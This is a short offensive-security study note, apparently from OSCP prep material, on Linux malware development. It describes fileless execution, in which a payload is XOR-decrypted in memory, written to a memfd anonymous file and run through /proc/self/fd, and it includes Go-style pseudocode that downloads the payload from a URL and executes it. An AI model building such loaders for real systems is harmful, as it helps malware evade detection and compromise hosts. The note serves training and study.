oscp/Necronomicon/Linux/Malware Dev.md

• In-memory binary file execution
  • Use memfd syscall to create a virtual file entirely in memory and then use the file's symbolic link (/proc/self/fd/<id>) to execute it.
  • Basic process:
    1. Encrypt/encode payload
    2. Host and download payload
    3. Decrypt payload in memory and initialize "anonymous" file using memfd
    4. Copy decrypted payload into memory-only file and execute
• High-level pseudocode:

func main() {
	 // Download the encrypted payload
	 data, err := getURLContent(path)
	 // Decrypt it using XOR operation
	 decryptedData := decryptXor(data, []byte("verylongkey"))
	 // Create an anonymous file in memory
	 mfd, err := memfd.Create()
	 // Write the decrypted payload to the file
	 mfd.Write(decryptedData)
	 // Get the symbolic link to the file
	 filePath := fmt.Sprintf("/proc/self/fd/%d", mfd.Fd())
	 // Execute the file
	 cmd := exec.Command(filePath)
	 out, err := cmd.Run()
}